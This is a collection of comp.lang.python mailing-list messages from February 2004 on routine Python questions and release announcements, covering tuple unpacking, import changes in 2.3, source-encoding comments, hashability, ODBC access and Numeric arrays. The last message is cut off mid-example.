> works fine in 1.5.2 but gives the exception (exceptions.TypeError
> unpack non-sequence) in python 2.3. I did not write this code so I am
> not sure what is happening here.
> 
> Here is the code snippet:
> 
> for (item, agent) in self.lItems:
>       lItems.append(interpolate(self._ITEM_FMT, id=str(item)))
> 
> Note:
> self.lItems contains two elements.

Always exactly 2 items?

> Questions:
> 1) What is the for statement doing?

Attempting to assign the names item and agent a pair of values in 
self.lItems

> 2) Is this called tuple unpacking or list unpacking? 

list unpacking:
[item, agent] = [1,2]

tuple unpacking:
item, agent = 1,2
(item, agent) = 1,2
item, agent = (1,2)
(item, agent) = (1,2)

I would be willing to bet that the list below is cast into a tuple:
(item, agent) = [1,2]

> 3) Is there newer syntax?

I wouldn't so much call it newer as more intuitive.

 >>> for i,j in [(1,2), (3,4)]:
...     print i, j
...
1 2
3 4
 >>>

> 4) Why does he use the "for" loop like that?

Because he doesn't realize he could do the below.
item, agent = self.lItems
lItems.append(interpolate(self._ITEM_FMT, id=str(item)))



  - Josiah


From matt at cynetix.co.uk  Wed Feb 11 15:18:43 2004
From: matt at cynetix.co.uk (Matt Whiteley)
Date: Wed, 11 Feb 2004 20:18:43 -0000
Subject: Import no longer works in Python 2.3.x
Message-ID: <w6wWb.1$MQ1.0@news-binary.blueyonder.co.uk>

I have some python code in a directory called customModules and this sits
under the main directory which contains a piece of server.py code. Under
2.1.x and 2.2.x, I did the following in server.py :

import time, sys
sys.path += ['./customModules']

from requestHandler import inputHandler

and that allowed me to reference the requestHandler (stored in the
customModules directory) code without having to use
customModules.requestHandler every time. Under 2.3.x this doesn't work
anymore and I get a "ImportError: cannot import name inputHandler" error.
Can anyone shed some light on why this is and how I can get around it
please.

Code that demonstrates this exact problem is at
http://mss.cynetix.co.uk/download.htm - running server.py will work fine
under 2.2 but not under 2.3.

Many thanks
Matt Whiteley




From max at NcOviSsPiAoMntech.com  Thu Feb  5 15:28:32 2004
From: max at NcOviSsPiAoMntech.com (max khesin)
Date: Thu, 05 Feb 2004 20:28:32 GMT
Subject: [ANN]PyCrash 0.2 released
In-Reply-To: <bvu85f$ecs$07$1@news.t-online.com>
References: <74f314add5546414f9cb3271a23f6937.46955@mygate.mailgate.org>
	<CnwUb.121111$cM1.22432482@twister.nyc.rr.com>
	<a3c54444d6b1263db29c35ccb758dc40.46955@mygate.mailgate.org>
	<mailman.1263.1076010539.12720.python-list@python.org>
	<eb4539e160b097fc59a5c0075515339a.46955@mygate.mailgate.org>
	<bvu85f$ecs$07$1@news.t-online.com>
Message-ID: <QHxUb.121131$cM1.22472134@twister.nyc.rr.com>

It looks like there is only one contributor.

Diez B. Roggisch wrote:

> Carmine Noviello wrote:
> 
> 
>>>Don't know how difficult changing a license is, though.
>>
>>Why?
> 
> 
> If you are the only developer, its no deal. But as in the GPL and other
> licenses the copyright of code remains by the actualy contributor, you have
> to ensure that all contributers agree with a license change. 
> 
> --
> Regards,
> 
> Diez B. Roggisch


From pwatson at redlinec.com  Sun Feb 22 21:46:54 2004
From: pwatson at redlinec.com (Paul Watson)
Date: Sun, 22 Feb 2004 20:46:54 -0600
Subject: Reading from text files
References: <b4a8ffb6.0402221213.7bc0c493@posting.google.com>
Message-ID: <40396984_1@themost.net>


"Thomas Philips" <tkpmep at hotmail.com> wrote in message
news:b4a8ffb6.0402221213.7bc0c493 at posting.google.com...
> In the course of playing around with file input and output, I came
> across some behavior that is not quite intuitive. I created a simple
> text file, test.txt, which contains only 3 lines, and which I expect
> will have 5 characters (the digits 1, 2, and 3, and two newline
> characters, the first after 1 and the second after 2). Here it is in
> all its glory:
> 1
> 2
> 3
>
> However, when I read it using open()and then view it using
> >>> file.seek(0); file.read(); file.tell()
> I get:
> '1\n2\n3'
> 7L
>
> Python thinks there are 7 characters in the file! If I type
> >>> file.seek(1); file.read() OR >>>file.seek(2); file.read()
> I get
> '\n2\n3'
>
> but
> >>> file.seek(3); file.read()
> gives me what I expected to get with file.seek(2); file.read()
> '2\n3'
>
> It appears that Python sometimes counts each of the newline escape
> sequences as 2 separate characters and at other times as 1 indivisible
> character. What is the appropriate way to think about these
> characters?
>
> Thomas Philips

If you want to actually "see" what is in the file do a directory listing and
dump the file in hex.

On DOS/Windows do a 'dir test.txt' command and inspect the size of the file.
Then, do a 'debug test.txt' command.  At the prompt, enter the 'r' command
and press enter.  Examine the CX register.  It will have the same value as
the size of the file.  Then do a 'd' command to dump the bytes out and you
can see exactly what is in the file.

On UNIX/Linux use 'ls -l test.txt' to see the directory listing containing
the size of the file.  Use something like 'od -Ax -x test.txt' to see the
contents of the file.  If that command does not produce something you like,
use 'man od' to find the parameters with which you are more comfortable.




From danb_83 at yahoo.com  Mon Feb  2 15:34:50 2004
From: danb_83 at yahoo.com (Dan Bishop)
Date: 2 Feb 2004 12:34:50 -0800
Subject: assignment statements: lists vs. strings
References: <3e96ebd7.0402020750.3b0b9b82@posting.google.com>
Message-ID: <ad052e5c.0402021234.4a040feb@posting.google.com>

klaus_neuner82 at yahoo.de (Klaus Neuner) wrote in message news:<3e96ebd7.0402020750.3b0b9b82 at posting.google.com>...
> Hello,
> 
> I would like to understand the reason for the following difference
> between dealing with lists and dealing with strings: What is this
> difference good for? How it is accounted for in Python slang?
> 
> Klaus
> 
> >>> string1 = "bla"
> >>> string2 = string1
> >>> string1 = string1 + "bla"
> >>> string1
>  'blabla'
> >>> string2
>  'bla'
> >>> 
>  
> >>> list1 = [1,2]
> >>> list2 = list1
> >>> list1.append(1)

This is *not* equivalent to the string code.  Notice that

  >>> list1 = list1 + [1]
  >>> list1
   [1, 2, 1]
  >>> list2
   [1, 2]

*does* behave like your string example.

> >>> list1
>  [1, 2, 1]
> >>> list2
>  [1, 2, 1]

Unlike string1, the name "list1" hasn't been rebound since the
assignment "list2 = list1", and therefore they still refer to the same
object.


From ivoras at __geri.cc.fer.hr  Sun Feb 29 20:07:04 2004
From: ivoras at __geri.cc.fer.hr (Ivan Voras)
Date: Mon, 01 Mar 2004 02:07:04 +0100
Subject: Twisted/Woven threading?
Message-ID: <c1u2br$v6k$1@bagan.srce.hr>

I've experimented with a simple web application made with woven and 
stated by twistd from a .tap file, on a Win32. It seems that the web 
server started that way is not multitasked/multithreaded and that one 
request that requires long processing (e.g. a factory that produces a 
long result fetched from a database) makes the server totaly unresponsive.

Is that normal? What can I do to make it multithreaded?





From edreamleo at charter.net  Fri Feb 20 11:25:50 2004
From: edreamleo at charter.net (Edward K. Ream)
Date: Fri, 20 Feb 2004 10:25:50 -0600
Subject: ANN: Leo 4.1 final
Message-ID: <103cd8fp3cbgfb@corp.supernews.com>

Leo 4.1 final is now available at
http://sourceforge.net/projects/leo/

Leo 4.1 final is the culmination of four months of work. No
significant bugs have been reported since 4.1 rc4. Several people have
contributed nifty plugins recently. See leoPlugins.leo for full
details.

The highlights version 4.1:
---------------------------
- Leo runs in batch mode when invoked with --script aScriptFile.py
- Leo supports Unicode characters (e.g. Chinese) in path and file names.
- @directives and section references are now valid when executing scripts.
- @ignored and orphan nodes now valid in @file-nosent trees.
- Script-based find/change commands.
- Check Outline command.
- Hoist & DeHoist commands.
- A new gui-agnostic architecture: useful for batch mode and unit tests.
- Several new configuration settings.
- Many new unit tests.
- A host of bug fixes.

Quotes of the month
-------------------

"I'm a newbie to Leo(a couple of weeks) and I feel addicted to
programming again...in fact it has resurrected a dead project of mine :)
The outline has proven most liberating in terms of testing ideas out.
Thanks a lot!" -- anon

"Wow, wow, and wow. I just started using Leo about a month ago..Now I
finally understand how to use clones and I realized that this is
exactly how I want to organize my information.  Multiple views on my
data, fully interlinkable just like my thoughts...Thanks for a great
tool! -- anon

"I *LIKE* it; I was amazed at how [different the Leo] experience was
compared to flat-filing. It was almost Forth-like in the way that it
was possible to work top-down or bottom-up at will (I believe this is
the key to its strength, btw)." --Tarvin Rhodes

What is Leo?
------------
- A programmer's editor, an outlining editor and a flexible browser.
- A literate programming tool, compatible with noweb and CWEB.
- A data organizer and project manager. Leo provides multiple views
   of projects within a single outline.
- Fully scriptable using Python. Leo saves its files in XML format.
- Portable. leo.py is 100% pure Python.
- Open Software, distributed under the Python License.

Leo requires Python 2.1 or above and tcl/tk 8.3 or above.
Leo works on Linux, Windows and MacOs X.

Links:
------
Leo:      http://webpages.charter.net/edreamleo/front.html
Home:     http://sourceforge.net/projects/leo/
Download: http://sourceforge.net/project/showfiles.php?group_id=3458
CVS:      http://sourceforge.net/cvs/?group_id=3458
Wiki:     http://leo.hd1.org/

Edward K. Ream
February 20, 2004

--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: Literate Editor with Outlines
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From pinard at iro.umontreal.ca  Mon Feb 16 09:15:55 2004
From: pinard at iro.umontreal.ca (=?iso-8859-1?Q?Fran=E7ois?= Pinard)
Date: Mon, 16 Feb 2004 09:15:55 -0500
Subject: Hashability of classes, old and new
Message-ID: <20040216141555.GA3567@titan.progiciels-bpi.ca>

Hi, people.  I observe that there is a difference in hashability between
old-style and new-style instances, when they are comparable.  I wonder
what I meaning I should make out of this. Maybe the simplest is to first
show an example:

---------------------------------------------------------------------->
Python 2.3.3 (#1, Jan 24 2004, 09:01:30) 
[GCC 3.3 20030226 (prerelease) (SuSE Linux)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> class C:
...   __metaclass__ = type
...   def __cmp__(a, b):
...     print 'C', a, b
...     return 0
... 
>>> class D:
...   import types
...   __metaclass__ = types.ClassType
...   def __cmp__(a, b):
...     print 'D', a, b
...     return 0
... 
>>> c = C()
>>> d = D()
>>> hash(C)
136172876
>>> hash(D)
1076805372
>>> hash(c)
1076846924
>>> hash(d)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: unhashable instance
----------------------------------------------------------------------<

As you see, `C' is new-style, `D' is old-style.  (I could have written
declarations more simply, if __metaclass__ was not preset to type within
my `.pythonrc' -- in any case, the above writing is very explicit. :-)

Is there a change in semantics in this area?  For new-style, I have:

---------------------------------------------------------------------->
>>> c1 = C()
>>> c2 = C()
>>> z = {}
>>> z[c1] = 101
>>> z[c2] = 102
>>> c1 == c2
C <__main__.C object at 0x402f650c> <__main__.C object at 0x402f64ec>
True
>>> z[c1]
101
>>> z[c2]
102
----------------------------------------------------------------------<

So, despite c1 equals c2, they create two different entries in a
dictionary.  I thought that this is such an inconsistency that was the
reason behind requiring an explicit `__hash__' for old-style classes.
So, it seems I was not thinking right, there is something which escapes
my understanding.  Would some kind soul help mine? :-)

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard



From skip at pobox.com  Mon Feb 23 16:50:32 2004
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 23 Feb 2004 15:50:32 -0600
Subject: xmlprclib/server not reusing connections
In-Reply-To: <spv8g1-fev.ln1@home.rogerbinns.com>
References: <spv8g1-fev.ln1@home.rogerbinns.com>
Message-ID: <16442.30120.106102.765179@montanaro.dyndns.org>


    Roger> It appears that xmlrpclib and/or SimpleXMLRPCServer always use
    Roger> new connections for each request.  I have been trying to make
    Roger> them reuse the existing connection but can't find where.  Is
    Roger> there any particular reason they go to such great lengths to call
    Roger> shutdown/close/finish as well as making new connection objects in
    Roger> xmlrpclib?

Connection reuse would be done at a lower level I think.  Take a look at the
httplib module.  Take a look at xmlrpclib's MultiCall class for another way
to improve performance in some situations.

Skip



From tjreedy at udel.edu  Fri Feb  6 00:18:33 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 6 Feb 2004 00:18:33 -0500
Subject: Creating a variable of a specific type
References: <mailman.1236.1075978481.12720.python-list@python.org><bvtei9$10enm4$1@ID-111250.news.uni-berlin.de><bvthul$ogh$1@panix2.panix.com>
	<20040205143140.GA22941@intarweb.us>
Message-ID: <bvv839$533$1@sea.gmane.org>


"Jp Calderone" <exarkun at intarweb.us> wrote in message
news:20040205143140.GA22941 at intarweb.us...
> On Thu, Feb 05, 2004 at 08:54:29AM -0500, Aahz wrote:
> > In article <bvtei9$10enm4$1 at ID-111250.news.uni-berlin.de>,
> > Diez B. Roggisch <nospam-deets at web.de> wrote:
> > >
> > >Now back to your problem: I don't know right from my head what socket
> > >requires as inet-type, but I guess its a tuple of some sort. You don't
need
> > >to declare a variable for that - just use it. If you need to check for
a
> > >symbol not beeing initialized, simply use None as value, like here:
> > >
> > >address = None
> > >if address:
> > >  do_something(address)
> > >
> > >None is considered false. You might be more explicit, by using
> > >
> > >if address == None:
> > >
> > >but thats a matter of taste (to me, at least...)
> >
> > No, that's not a matter of taste, it's a matter of incorrect coding.
> > Using ``==`` calls a method on address, which could return true even if
> > address isn't None.  Much better to use ``is``, which is guaranteed to
> > return true only if address really *is* None.
> >
> > Note that in the absence of special methods for comparison, all Python
> > objects are true, so your original formulation is especially
appropriate.
>
>   Just as using "==" calls a method on address, which could return true
even
> if address isn't None, calling bool() with address may return false, even
if
> address isn't None!  "if address:" may work in some cases, but it will
> return incorrect results when address has been initialized to another
false
> value ([] is especially common, I find), when it is initalized to a class
> defining __nonzero__/__len__ in certainly ways, and in some unfortunate
> cases it may even raise an exception (eg, cgi.FieldStorage).

Identity to None should be tested for with the 'is' operator (if address is
None:...), which quickly tests for identity of the two objects.  Equality
of value and boolean value are both slower and a bit slippery (type
specific).

Terry J. Reedy






From http  Fri Feb 20 04:19:09 2004
From: http (Paul Rubin)
Date: 20 Feb 2004 01:19:09 -0800
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<c14h3s$o2a$1@swifty.westend.com>
Message-ID: <7x8yiy3y7m.fsf@ruckus.brouhaha.com>

Peter Maas <fpetermaas at netscape.net> writes:
> The do block is no safeguard against copy errors because it's optional.
> A comment saves the same purpose. Replace
> 
> do:
>      init()
> while cond():
>      body()
> 
> by
> 
> # init while
> init()
> while cond():
>      body()
> 

No, you don't understand.  The initialization is part of the loop.
That is, the replacement for the do loop is

  while 1:
    init()
    if not cond: break
    body()

> PEP-0315 shouldn't be added to Python.

I agree, but the reasoning has to go a bit further.


From grace-dev-request at plasma-gate.weizmann.ac.il  Mon Feb  9 18:59:22 2004
From: grace-dev-request at plasma-gate.weizmann.ac.il (grace-dev-request at plasma-gate.weizmann.ac.il)
Date: Tue, 10 Feb 2004 01:59:22 +0200
Subject: Server Report
In-Reply-To: <200402092359.i19NxEee024649@plasma-gate.weizmann.ac.il>
References: <200402092359.i19NxEee024649@plasma-gate.weizmann.ac.il>
Message-ID: <200402092359.i19NxMQY024681@plasma-gate.weizmann.ac.il>

			General info on SmartList server
			--------------------------------
Subcription/unsubscription/info requests should always be sent to the -request
address of a mailinglist.
If a mailinglist for example is called "thelist at plasma-gate.weizmann.ac.il", 
then the -request address can be inferred from this to be: 
"thelist-request at plasma-gate.weizmann.ac.il".

To subscribe to a mailinglist, simply send a message with the word "subscribe"
in the body of the message and empty Subject: field to the -request address of 
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As in:		To: thelist-request at plasma-gate.weizmann.ac.il
		Subject: 

		subscribe 

To unsubscribe from a mailinglist, simply send a message with the word (you
guessed it :-) "unsubscribe" in the body of the message and empty Subject: field 
to the -request address of that list.

As in:		To: thelist-request at plasma-gate.weizmann.ac.il
		Subject:

		unsubscribe

In the event of an address change, it would probably be the wisest to first
send an unsubscribe for the old address (this can be done from the new
address), and then a new subscribe to the new address (the order is important).

Most (un)subscription requests are processed automatically without human
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Do not send multiple (un)subscription or info requests in one mail.  Only one
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NOTE: The -request server usually does quite a good job in discriminating
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			The archive server
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Every submission sent to this list is archived.	 The size of the archive
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		help
--



From edreamleo at charter.net  Tue Feb 17 18:09:48 2004
From: edreamleo at charter.net (Edward K. Ream)
Date: Tue, 17 Feb 2004 17:09:48 -0600
Subject: 2.3 encoding parsing bug
References: <10349ardb7psua3@corp.supernews.com> <40328B45.4030400@v.loewis.de>
Message-ID: <10357pvh422kt64@corp.supernews.com>

> > To make myself perfectly clear: Python has absolutely no right to
complain
> > about comment lines that do not have the form:
> >
> > # -*- coding: <encoding> -*-
>
> It does. Please see
>
> http://www.python.org/doc/current/ref/encodings.html
>
> This is the precise specification; Python looks for a certain regular
> expression.

Ah jeez :-)

The regular expression 'coding[=:]\s*([\w-_.]+)' matches so much more than
the "recommended" lines,

# -*- coding: <encoding> -*-

and

# vim:fileencoding=<encoding-name>

This is most annoying.  It looks like Leo will have to change file formats
to accommodate this.  I could hack a special case for .py files, I suppose,
but any such hack still amounts to a change in file format.

Is there any chance of modifying the re to reduce the possibility of
confusion and "false matches"?  For example, matching only 'coding' and
'fileeencoding' (as words).

Thanks for your clarification of the situation.  I suppose I'll have to look
more closely at PEP's in the future.  These over-general encoding
declarations seem like a pretty low blow.

Edward

P.S.  I just looked at pep 263:

[quote]
To define a source code encoding, a magic comment must
be placed into the source files either as first or second
line in the file:

      #!/usr/bin/python
      # -*- coding: <encoding name> -*-

More precise, the first or second line must match the regular
expression "coding[:=]\s*([\w-_]+)".
[end quote]

This was just a really bad idea, put forward in stealth, buried in an re.
Having a _restricted_ kind of special-purpose comment is one thing:  having
a way-too-general kind of special-purpose comment is wrong, wrong, wrong.
It needlessly invalidates comments that _should_ have been none of Python's
business.

My guess is that I could have read this many times without having the
slightest hint of danger: the re bears almost no relation to the English
words.  I'm gnashing my teeth.

EKR
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: Literate Editor with Outlines
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From rzantow at ntelos.net  Wed Feb  4 10:11:01 2004
From: rzantow at ntelos.net (rzed)
Date: Wed, 4 Feb 2004 10:11:01 -0500
Subject: relational<-->XML translation: a Python specialty absorbed by
	adatabase?
References: <mailman.1181.1075855864.12720.python-list@python.org>
Message-ID: <0X7Ub.3574$cx3.1875@fe01.usenetserver.com>


"John Benson" <jsbenson at bensonsystems.com> wrote in message
news:mailman.1181.1075855864.12720.python-list at python.org...
> Hi, I've been looking at the "Oracle9 i Database New Features" guide, from
> which I quote:
>
> XML Generation
> In response to the challenge of generating XML in bulk from a database,
XML
> generation capabilities have been moved into the database and application
> server
> kernels and made available as built-in SQL operators. The kernel proximity
> of these
> operators ensures massively sustainable throughputs, enough for the
largest
> content repositories or the busiest exchanges.
>
> (end quote)
>
> I've been quaffing the XML kool-aid recently and imagining that scripting
> languages like Python would be key in moving data between relational
> databases and the Web by doing XML translation. From the preceding quote,
it
> would appear that databases might be appropriating this task to some
extent.
>
> It's pretty obvious a few XML operators added to SQL (or SQL*Plus, in the
> case of Oracle) may not seriously challenge the expressiveness of Python
or
> Java, but they may tend to shape XML requirements in the direction of
> simplicity so that the maximum can be done by the database itself.
>
> Comments?

I've recently been working with a fairly large database with an Oracle back
end, and I've seen the difference made by moving processing to the server.
It's better. But it's not perfect.

A lot depends on the relationship between what is actually stored and the
complexity of the XML on output. If the end product consists of relatively
few elements, and the data comprising the elements corresponds pretty well
with the database, then most storage and retrieval operations would be
similar in their character to normal database tasks. That's a good thing, if
it is possible to match the data to the output closely. Adding XML
generation to the back end should make that more efficient.

If the data is complex and stored with fine granularity, then database
operations will be expensive in any case. XML in the back end will help a
little, but it would still be far more time-efficient to pull unparsed
chunks of XML data and to parse them in memory. Loading the data would also
be more efficient if it can be prechunked and stored that way. That's where
I'd think Python would shine: in the immediate pre- and post-processing
steps.

--
rzed





From teiffel at attglobal.net  Fri Feb 27 14:52:49 2004
From: teiffel at attglobal.net (Marcello Pietrobon)
Date: Fri, 27 Feb 2004 14:52:49 -0500
Subject: comp.lang.python
Message-ID: <403FA011.3030600@attglobal.net>

Hi,

Is the server comp.lang.python working or not ?

If yes,
what settings do I need in order to see this mailing list in newsgroup 
form ?

Thanks,
Marcello






From __peter__ at web.de  Sat Feb 28 14:58:29 2004
From: __peter__ at web.de (Peter Otten)
Date: Sat, 28 Feb 2004 20:58:29 +0100
Subject: Tab expansion problem or ..?
References: <8d3e714e.0402271329.40201ed2@posting.google.com>
	<c1odiu$fkq$07$2@news.t-online.com>
	<8d3e714e.0402281143.795ada91@posting.google.com>
Message-ID: <c1qrt5$8vq$07$2@news.t-online.com>

Tony C wrote:

> In my *actual* code, I am storing the result from expandtabs()
> I was away from the computer where my sources were, so I just typed in
> a quick
> example- but overlooked storeing the result from expantabs().
> 
> That being said, I still don't understand why the index returned from
> find()does not give me the correct offset into the string, where the
> label HeXNUM is.

I fear that nobody will find the explanation if you don't post the *actual*
code :-(

Peter


From danb_83 at yahoo.com  Sat Feb 14 11:55:28 2004
From: danb_83 at yahoo.com (Dan Bishop)
Date: 14 Feb 2004 08:55:28 -0800
Subject: Allowing non-ASCII identifiers
References: <mailman.19.1076701459.31398.python-list@python.org>
Message-ID: <ad052e5c.0402140855.233135ef@posting.google.com>

"Brian Quinlan" <brian at sweetapp.com> wrote in message news:<mailman.19.1076701459.31398.python-list at python.org>...
> Paul Prescod wrote:
> > > class @class:
> > >     def @def(@def):
> > >         pass
> > >
> > > cl\u0061ss.d\u0065f(true)
> > 
> > Have you ever seen real code like that? 
> 
> I've never seen any non-ASCII code in any language. 

The code posted above is all-ASCII.
 
> > If not, what are you worried about? That C# programmers are reasonable 
>  
> > but Python programmers are devious and will go to extra effort to make
> > your life difficult?
> 
> I don't think that there is any reasonable usage of syntax like that, so 
> why have it in the language?

C# was designed to work with classes written in other languages, which
have different sets of keywords.  Therefore, C#'s needed to deal with
questions like "How do you use a class named 'operator' (which would
be a valid identifier in VB.NET but not in C#)?", and the "@operator"
construct was a very reasonable solution.

I don't see any need of it in CPython, however.


From yuba at cyberback.com  Tue Feb 10 20:03:28 2004
From: yuba at cyberback.com (yuba at cyberback.com)
Date: Tue, 10 Feb 2004 19:03:28 -0600
Subject: Sizing Pmw.EntryField
Message-ID: <1f25ef67b7fb4ab6abaab3090bf3ba46.yuba@cyberback.com>

How do I set the length of a Pmw.EntryField?  I've tried just about everything I can think of.
Thanks!
--greg




From u8806228 at mail.ttu.edu.tw  Thu Feb 12 20:18:32 2004
From: u8806228 at mail.ttu.edu.tw (Yen-Ting Chen)
Date: 12 Feb 2004 17:18:32 -0800
Subject: killing processes on win xp
References: <mailman.1460.1076502086.12720.python-list@python.org>
Message-ID: <dfe6a548.0402121718.595e5d66@posting.google.com>

"Andrei" <aluticus at gmx.net> wrote in message news:<mailman.1460.1076502086.12720.python-list at python.org>...
> error: (5, 'OpenProcess', 'Access is denied.')

Do you have the "Administrator" privilege?


From cyrat at frontiernet.net  Tue Feb 10 21:48:39 2004
From: cyrat at frontiernet.net (PWR)
Date: Tue, 10 Feb 2004 20:48:39 -0600
Subject: Accessing external file output from script?
Message-ID: <40299803$0$41295$a1866201@newsreader.visi.com>

Platform: Windows
Python: 2.3
Python Skill: Reading, Learning, but still newbie.

Mission:  My mission is writing a script that is triggered from my mail 
server.  The script will execute and download a file.  The email that 
triggered the message has a file size which is compared to the 
downloaded file to make sure the bytes match.  Once that is accomplished 
there is a small program (.exe) that I can run against the file.  The 
.exe has two outputs...

If the file that was downloaded is intact is returns nothing

If the file is damaged or not correct it returned ERROR_XXX

Those are the only things it will return.

Is there a way to call this program to run from my script and then 
parse? the output to see if either state is returned?

The good news is the script runs and does everything but the external 
file check (woo) so I am making progress.


-P.
--
c y r a t (a_t) f r o n t i e r n e t (d o t) n e t



From cnoviello at hotmail.com  Thu Feb  5 13:29:31 2004
From: cnoviello at hotmail.com (Carmine Noviello)
Date: Thu, 5 Feb 2004 18:29:31 +0000 (UTC)
Subject: [ANN]PyCrash 0.2 released
Message-ID: <74f314add5546414f9cb3271a23f6937.46955@mygate.mailgate.org>

Hi,
a new version of PyCrash is released with some bug fixes done. You can
download it at



https://sourceforge.net/project/showfiles.php?group_id=98026&package_id=105002

Enjoy!
_______________________________________________________________________
About PyCrash Project:
PyCrash is a crash handler that handles uncaught exceptions during
program execution and collects information about the program context.
PyCrash can be very useful in report bug information, because the
programmer can easily analyse the program execution context of the
crashed application.

Major information collected by PyCrash in the crash dump is: 

- Information about operating system, Python and Python Standard
  Library version and general information about the program that is 
  crashed (e.g., program name and version, time at witch program 
  started and ended, and so on)
 
- Information about the uncaught exceptions, like the exception type, 
  the context (namely method name) in which the exception occurred and 
  the exception value

- General information about variables state

- Information about the stack of each thread, like the list of stack 
  frames, the variables value in each stack frame, and so on

- General information about source code, like variable and function 
  position in source file that can be useful for the programmer to find
  quickly bugs in source tree

The format of the crash dump file generated by PyCrash is XML, so the
programmer can easily read this file to understand why the program is
crashed.

Now, is also available a GUI browser, named PyCrashViewer, which allows
developers to analyze quickly and easily PyCrash crash dump files in a
graphical manner.

Next version of PyCrash will include at least these features:

- Full support to new-style classes
- Cryptographic functionalities, which allow programmers to cypher crash
dump in order to protected sensible information in crash files.

More information can be found at:

http://pycrash.sourceforge.net

I'm very pleased to receive your comments and suggests.

Thanks!


-- 
Posted via Mailgate.ORG Server - http://www.Mailgate.ORG


From theller at python.net  Thu Feb  5 13:02:58 2004
From: theller at python.net (Thomas Heller)
Date: Thu, 05 Feb 2004 19:02:58 +0100
Subject: OT: Recommended news reader?
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
	<m3y8rhbenz.fsf@tanelorn.bandersnatch.org>
Message-ID: <y8rh9zfx.fsf@python.net>

Nick Vargish <nav+posts at bandersnatch.org> writes:

> miki.tebeka at zoran.com (Miki Tebeka) writes:
>
>> Which news reader do you recommend?
>
> Gnus.
>
> But, like Unix, it's not for everyone. If you already use (X)Emacs,
> the learning curve is quite reasonable.

I'm a very happy XEmacs user (although I'm mostly on Windows), but it
seems gnus really takes its time to master.

But I was very astonished to see that no other mail/news client I have
examined allows customizing the From: address depending on the folder or
group you are currently in.  Can that really be true?

Thomas


From michael at foord.net  Sat Feb 21 07:43:18 2004
From: michael at foord.net (Fuzzyman)
Date: 21 Feb 2004 04:43:18 -0800
Subject: _ssl.pyd in py2exe ???
Message-ID: <8089854e.0402210443.1f220525@posting.google.com>

I've written a Tkinter application and am bundling it using py2exe 0.5

Because of the inclusion of Tk/TCL the final package is rather
large........ but why on earth in an anagram finder is _ssl.pyd (500k)
being bundled in with it ???

Seems rather odd ? Possibly this is something *other* than the secure
socket layer library... but if it is that... bizzare.........


Fuzzy


http://www.voidspace.org.uk/atlantibots/pythonutils.html


From aahz at pythoncraft.com  Wed Feb  4 14:55:23 2004
From: aahz at pythoncraft.com (Aahz)
Date: 4 Feb 2004 14:55:23 -0500
Subject: Modules, namespaces, parents, and import
References: <E1AoGX5-0006RR-4z.2004-02-04-06-29-07@tmailb1.svr.pol.co.uk>
	<mailman.1186.1075877977.12720.python-list@python.org>
	<102247ofva9do52@corp.supernews.com>
Message-ID: <bvrinb$gpc$1@panix1.panix.com>

In article <102247ofva9do52 at corp.supernews.com>,
R Baumann <rynt at 9yahoo.com> wrote:
>
>I'm a newbie too.  Just to be perfectly clear about this, if you have a
>half-dozen modules in an application, and you import Sys in everyone of
>them, I am going to assume that Python will only load one instance of Sys.
>When it hits the import statement to load Sys in the other modules, it knows
>that Sys is already loaded and will simply create a link to the already
>existing namespace?

That's essentially correct.

>Is there any way to unload a module after you're finished with it and
>will absolutely no longer need it?

In theory, yes; in practice, no.  Why do you want to do this?
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From info.jyv at videotron.ca  Wed Feb  4 20:53:45 2004
From: info.jyv at videotron.ca (Jean-Yves Vinet)
Date: Wed, 4 Feb 2004 20:53:45 -0500
Subject: configuring ODBC DSN with a python script
References: <d3be1825.0402041109.4ee4a88d@posting.google.com>
Message-ID: <QmhUb.1084$7P3.190368@wagner.videotron.net>

Do some research on internet with 'ODBC connection string', It's
possible to access to a mdb database directly without using the
ODBC control panel.You have to open your database with a
connection string like that:

Driver={Microsoft Access Driver
(*.mdb)};Dbq=c:\somepath\mydb.mdb;Uid=the_user;Pwd=the_password

JYV

"Jani Yusef" <jani at persian.com> a ?crit dans le message de
news:d3be1825.0402041109.4ee4a88d at posting.google.com...
> I am building an application which, unfortunately, *must* use an
> access db. The users will have the relevane mdb file installed on
> their system. As part of the installer. Now, the part I am stuck on is
> how do I configure the ODBC dsn without having the user open up the
> ODBC control panel which will in all honestly just scare and confuse
> them. ;)
> Has anyone approached this problem before? What did you do?
> Thanks!!




From buzzard at urubu.freeserve.co.uk  Thu Feb  5 15:49:29 2004
From: buzzard at urubu.freeserve.co.uk (Duncan Smith)
Date: Thu, 5 Feb 2004 20:49:29 -0000
Subject: Long list to numeric multi-D array
References: <bvtsnm$r1b$1@newshost.mot.com>
Message-ID: <bvu9us$6tf$1@news7.svr.pol.co.uk>


"Stephen Boulet" <stephendotboulet at motorola_._com> wrote in message
news:bvtsnm$r1b$1 at newshost.mot.com...
> I have a long list of floats (1613808 elements long). It takes quite a
> while to load this into a 7 dimensional Numeric array.
>
> Is there any obvious way to speed this up?
>
> def insertData(self,data):
>
>      # Start off with an array of the desired size
>      # "self.MEASURED", etc., are integers
>      arrayData = zeros([self.MEASURED, self.SWEPT, \
>        self.TEMPS,self.DCS, self.IVS, self.UUTS,   \
>        self.DUTS], Float64)
>
>      i = 0
>
>      for device in range(self.DUTS):
>          for unit in range(self.UUTS):
>              for iv in range(self.IVS):
>                  for dc in range(self.DCS):
>                      for temp in range(self.TEMPS):
>                          for swept in range(self.SWEPT):
>                              for measured in range(self.MEASURED):
>
> arrayData[measured][swept][temp][dc][iv][unit][device] = bigList[i]
>                                  i += 1
>      return arrayData
>
> Stephen

Creating a 1-dimensional array, then reshaping it is (I guess) as quick as
anything.  Something like,

>>> import Numeric
>>> an_array = Numeric.array(range(24))
